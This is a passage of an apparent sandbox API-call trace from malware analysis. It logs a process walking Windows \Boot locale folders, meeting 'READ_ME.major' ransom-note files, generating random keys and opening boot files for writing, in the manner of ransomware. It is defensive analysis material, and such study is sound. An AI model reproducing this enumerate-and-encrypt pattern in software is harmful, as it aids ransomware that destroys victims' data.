dwReserved1=0x73ca443f, cFileName="memtest.exe.mui", cAlternateFileName="MEMTES~1.MUI")) returned 1 [0143.552] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7018 | out: hHeap=0x570000) returned 1 [0143.552] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c7060 [0143.552] GetLastError () returned 0x5 [0143.552] SetLastError (dwErrCode=0x5) [0143.552] GetLastError () returned 0x5 [0143.552] SetLastError (dwErrCode=0x5) [0143.552] GetLastError () returned 0x5 [0143.552] SetLastError (dwErrCode=0x5) [0143.552] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5cce90 [0143.552] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5cce90 | out: hHeap=0x570000) returned 1 [0143.552] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c72e8 [0143.552] FindNextFileW (in: hFindFile=0x60f2e8, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x810c2be, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x810c2be, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x810c2be, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 1 [0143.552] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7060 | out: hHeap=0x570000) returned 1 [0143.552] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c7408 [0143.552] GetLastError () returned 0x5 [0143.552] SetLastError (dwErrCode=0x5) [0143.553] GetLastError () returned 0x5 [0143.553] SetLastError (dwErrCode=0x5) [0143.553] GetLastError () returned 0x5 [0143.553] SetLastError (dwErrCode=0x5) [0143.553] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5ccf58 [0143.553] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5ccf58 | out: hHeap=0x570000) returned 1 [0143.553] FindNextFileW (in: hFindFile=0x60f2e8, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x810c2be, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x810c2be, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x810c2be, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 0 [0143.553] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c7648 [0143.553] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5cce68 [0143.553] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0143.553] SetFileAttributesW (lpFileName="\\Boot\\it-IT\\memtest.exe.mui", dwFileAttributes=0x80) returned 0 [0143.553] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c7690 [0143.553] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x90) returned 0x5a10c8 [0143.553] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7690 | out: hHeap=0x570000) returned 1 [0143.553] CreateFileW (lpFileName="\\Boot\\it-IT\\memtest.exe.mui" (normalized: "c:\\boot\\it-it\\memtest.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0143.553] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5a10c8 | out: hHeap=0x570000) returned 1 [0143.553] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5cce68 | out: hHeap=0x570000) returned 1 [0143.553] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7648 | out: hHeap=0x570000) returned 1 [0143.553] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c72e8 | out: hHeap=0x570000) returned 1 [0143.553] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c7210 [0143.553] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5ccf30 [0143.553] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0143.553] SetFileAttributesW (lpFileName="\\Boot\\it-IT\\bootmgr.exe.mui", dwFileAttributes=0x80) returned 0 [0143.554] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c6fd0 [0143.554] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x90) returned 0x5a10c8 [0143.554] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c6fd0 | out: hHeap=0x570000) returned 1 [0143.554] CreateFileW (lpFileName="\\Boot\\it-IT\\bootmgr.exe.mui" (normalized: "c:\\boot\\it-it\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0143.554] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5a10c8 | out: hHeap=0x570000) returned 1 [0143.554] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5ccf30 | out: hHeap=0x570000) returned 1 [0143.554] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7210 | out: hHeap=0x570000) returned 1 [0143.554] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c77f8 | out: hHeap=0x570000) returned 1 [0143.554] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5ccf58 [0143.554] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5ccd78 | out: hHeap=0x570000) returned 1 [0143.554] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x58e570 | out: hHeap=0x570000) returned 1 [0143.554] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x58e278 | out: hHeap=0x570000) returned 1 [0143.554] FindFirstFileW (in: lpFileName="\\Boot\\ja-JP\\*", lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc48c6596, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa010d0c0, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x810c2be, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName=".", cAlternateFileName="")) returned 0x60f6e8 [0143.554] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7408 | out: hHeap=0x570000) returned 1 [0143.554] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c72e8 [0143.554] GetLastError () returned 0x5 [0143.554] SetLastError (dwErrCode=0x5) [0143.554] GetLastError () returned 0x5 [0143.554] SetLastError (dwErrCode=0x5) [0143.554] GetLastError () returned 0x5 [0143.554] SetLastError (dwErrCode=0x5) [0143.554] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x30) returned 0x58ea88 [0143.554] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x4c) returned 0x5bed10 [0143.554] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5bed10 | out: hHeap=0x570000) returned 1 [0143.554] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5ccd00 [0143.554] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x34) returned 0x60f328 [0143.554] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x60f328 | out: hHeap=0x570000) returned 1 [0143.554] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x10) returned 0x2e40630 [0143.554] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2e40630 | out: hHeap=0x570000) returned 1 [0143.554] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5ccd00 | out: hHeap=0x570000) returned 1 [0143.554] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x58ea88 | out: hHeap=0x570000) returned 1 [0143.554] FindNextFileW (in: hFindFile=0x60f6e8, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc48c6596, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa010d0c0, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x810c2be, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="..", cAlternateFileName="")) returned 1 [0143.555] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c72e8 | out: hHeap=0x570000) returned 1 [0143.555] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c7498 [0143.555] GetLastError () returned 0x5 [0143.555] SetLastError (dwErrCode=0x5) [0143.555] GetLastError () returned 0x5 [0143.555] SetLastError (dwErrCode=0x5) [0143.555] GetLastError () returned 0x5 [0143.555] SetLastError (dwErrCode=0x5) [0143.555] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x30) returned 0x58ea88 [0143.555] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x4c) returned 0x5bedc0 [0143.555] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5bedc0 | out: hHeap=0x570000) returned 1 [0143.555] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5ccf80 [0143.555] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x34) returned 0x60f468 [0143.555] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x60f468 | out: hHeap=0x570000) returned 1 [0143.555] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x10) returned 0x2e405d0 [0143.555] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2e405d0 | out: hHeap=0x570000) returned 1 [0143.555] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5ccf80 | out: hHeap=0x570000) returned 1 [0143.555] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x58ea88 | out: hHeap=0x570000) returned 1 [0143.555] FindNextFileW (in: hFindFile=0x60f6e8, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc48c6596, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc48c6596, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x21212f9a, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x10760, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0143.555] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7498 | out: hHeap=0x570000) returned 1 [0143.555] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c72a0 [0143.555] GetLastError () returned 0x5 [0143.555] SetLastError (dwErrCode=0x5) [0143.555] GetLastError () returned 0x5 [0143.555] SetLastError (dwErrCode=0x5) [0143.555] GetLastError () returned 0x5 [0143.555] SetLastError (dwErrCode=0x5) [0143.555] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5ccd78 [0143.555] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5ccd78 | out: hHeap=0x570000) returned 1 [0143.555] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c77f8 [0143.555] FindNextFileW (in: hFindFile=0x60f6e8, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc48c6596, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef5ed6c6, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf300233f, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0xa798, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="memtest.exe.mui", cAlternateFileName="MEMTES~1.MUI")) returned 1 [0143.556] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c72a0 | out: hHeap=0x570000) returned 1 [0143.556] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c7408 [0143.556] GetLastError () returned 0x5 [0143.556] SetLastError (dwErrCode=0x5) [0143.556] GetLastError () returned 0x5 [0143.556] SetLastError (dwErrCode=0x5) [0143.556] GetLastError () returned 0x5 [0143.556] SetLastError (dwErrCode=0x5) [0143.556] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5ccd00 [0143.556] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5ccd00 | out: hHeap=0x570000) returned 1 [0143.556] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c6fd0 [0143.556] FindNextFileW (in: hFindFile=0x60f6e8, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x810c2be, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x810c2be, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x810c2be, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 1 [0143.556] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7408 | out: hHeap=0x570000) returned 1 [0143.556] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c7180 [0143.556] GetLastError () returned 0x5 [0143.556] SetLastError (dwErrCode=0x5) [0143.556] GetLastError () returned 0x5 [0143.556] SetLastError (dwErrCode=0x5) [0143.556] GetLastError () returned 0x5 [0143.556] SetLastError (dwErrCode=0x5) [0143.556] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5ccf80 [0143.556] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5ccf80 | out: hHeap=0x570000) returned 1 [0143.556] FindNextFileW (in: hFindFile=0x60f6e8, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x810c2be, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x810c2be, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x810c2be, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 0 [0143.556] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c76d8 [0143.556] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5cce68 [0143.556] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0143.556] SetFileAttributesW (lpFileName="\\Boot\\ja-JP\\memtest.exe.mui", dwFileAttributes=0x80) returned 0 [0143.556] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c7450 [0143.556] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x90) returned 0x5a10c8 [0143.556] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7450 | out: hHeap=0x570000) returned 1 [0143.556] CreateFileW (lpFileName="\\Boot\\ja-JP\\memtest.exe.mui" (normalized: "c:\\boot\\ja-jp\\memtest.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0143.556] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5a10c8 | out: hHeap=0x570000) returned 1 [0143.556] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5cce68 | out: hHeap=0x570000) returned 1 [0143.556] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c76d8 | out: hHeap=0x570000) returned 1 [0143.557] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c6fd0 | out: hHeap=0x570000) returned 1 [0143.557] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c7330 [0143.557] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5ccd00 [0143.557] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0143.557] SetFileAttributesW (lpFileName="\\Boot\\ja-JP\\bootmgr.exe.mui", dwFileAttributes=0x80) returned 0 [0143.557] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c70a8 [0143.557] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x90) returned 0x5a10c8 [0143.557] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c70a8 | out: hHeap=0x570000) returned 1 [0143.557] CreateFileW (lpFileName="\\Boot\\ja-JP\\bootmgr.exe.mui" (normalized: "c:\\boot\\ja-jp\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0143.557] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5a10c8 | out: hHeap=0x570000) returned 1 [0143.557] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5ccd00 | out: hHeap=0x570000) returned 1 [0143.557] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7330 | out: hHeap=0x570000) returned 1 [0143.557] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c77f8 | out: hHeap=0x570000) returned 1 [0143.557] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5cce68 [0143.557] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5ccf58 | out: hHeap=0x570000) returned 1 [0143.557] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x58e200 | out: hHeap=0x570000) returned 1 [0143.557] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x58e4d0 | out: hHeap=0x570000) returned 1 [0143.557] FindFirstFileW (in: lpFileName="\\Boot\\ko-KR\\*", lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc48c6596, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef5fc210, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0x810c2be, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName=".", cAlternateFileName="")) returned 0x60f268 [0143.557] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7180 | out: hHeap=0x570000) returned 1 [0143.557] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c75b8 [0143.557] GetLastError () returned 0x5 [0143.557] SetLastError (dwErrCode=0x5) [0143.557] GetLastError () returned 0x5 [0143.557] SetLastError (dwErrCode=0x5) [0143.557] GetLastError () returned 0x5 [0143.557] SetLastError (dwErrCode=0x5) [0143.557] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x30) returned 0x58ec80 [0143.557] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x4c) returned 0x5befd0 [0143.557] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5befd0 | out: hHeap=0x570000) returned 1 [0143.557] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5ccdc8 [0143.557] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x34) returned 0x60f128 [0143.557] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x60f128 | out: hHeap=0x570000) returned 1 [0143.558] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x10) returned 0x2e40588 [0143.558] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2e40588 | out: hHeap=0x570000) returned 1 [0143.558] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5ccdc8 | out: hHeap=0x570000) returned 1 [0143.558] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x58ec80 | out: hHeap=0x570000) returned 1 [0143.558] FindNextFileW (in: hFindFile=0x60f268, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc48c6596, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef5fc210, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0x810c2be, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="..", cAlternateFileName="")) returned 1 [0143.558] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c75b8 | out: hHeap=0x570000) returned 1 [0143.558] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c74e0 [0143.558] GetLastError () returned 0x5 [0143.558] SetLastError (dwErrCode=0x5) [0143.558] GetLastError () returned 0x5 [0143.558] SetLastError (dwErrCode=0x5) [0143.558] GetLastError () returned 0x5 [0143.558] SetLastError (dwErrCode=0x5) [0143.558] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x30) returned 0x58ec48 [0143.558] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x4c) returned 0x5bed10 [0143.558] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5bed10 | out: hHeap=0x570000) returned 1 [0143.558] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5ccd50 [0143.558] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x34) returned 0x60f768 [0143.558] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x60f768 | out: hHeap=0x570000) returned 1 [0143.558] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x10) returned 0x2e40570 [0143.558] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2e40570 | out: hHeap=0x570000) returned 1 [0143.558] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5ccd50 | out: hHeap=0x570000) returned 1 [0143.558] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x58ec48 | out: hHeap=0x570000) returned 1 [0143.558] FindNextFileW (in: hFindFile=0x60f268, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc48ec805, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc48ec805, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x211c6af1, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x10560, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0143.558] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c74e0 | out: hHeap=0x570000) returned 1 [0143.558] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c72a0 [0143.558] GetLastError () returned 0x5 [0143.559] SetLastError (dwErrCode=0x5) [0143.559] GetLastError () returned 0x5 [0143.559] SetLastError (dwErrCode=0x5) [0143.559] GetLastError () returned 0x5 [0143.559] SetLastError (dwErrCode=0x5) [0143.559] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5cce90 [0143.559] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5cce90 | out: hHeap=0x570000) returned 1 [0143.559] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c75b8 [0143.559] FindNextFileW (in: hFindFile=0x60f268, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc48ec805, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef5fc210, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf2fdc0d7, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0xa7a0, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="memtest.exe.mui", cAlternateFileName="MEMTES~1.MUI")) returned 1 [0143.559] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c72a0 | out: hHeap=0x570000) returned 1 [0143.559] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c7840 [0143.559] GetLastError () returned 0x5 [0143.559] SetLastError (dwErrCode=0x5) [0143.559] GetLastError () returned 0x5 [0143.559] SetLastError (dwErrCode=0x5) [0143.559] GetLastError () returned 0x5 [0143.559] SetLastError (dwErrCode=0x5) [0143.559] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5cce90 [0143.559] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5cce90 | out: hHeap=0x570000) returned 1 [0143.559] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c70a8 [0143.559] FindNextFileW (in: hFindFile=0x60f268, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x810c2be, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x810c2be, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x813254e, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 1 [0143.559] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7840 | out: hHeap=0x570000) returned 1 [0143.559] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c7840 [0143.559] GetLastError () returned 0x5 [0143.559] SetLastError (dwErrCode=0x5) [0143.559] GetLastError () returned 0x5 [0143.559] SetLastError (dwErrCode=0x5) [0143.559] GetLastError () returned 0x5 [0143.559] SetLastError (dwErrCode=0x5) [0143.559] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5ccdc8 [0143.559] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5ccdc8 | out: hHeap=0x570000) returned 1 [0143.559] FindNextFileW (in: hFindFile=0x60f268, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x810c2be, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x810c2be, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x813254e, 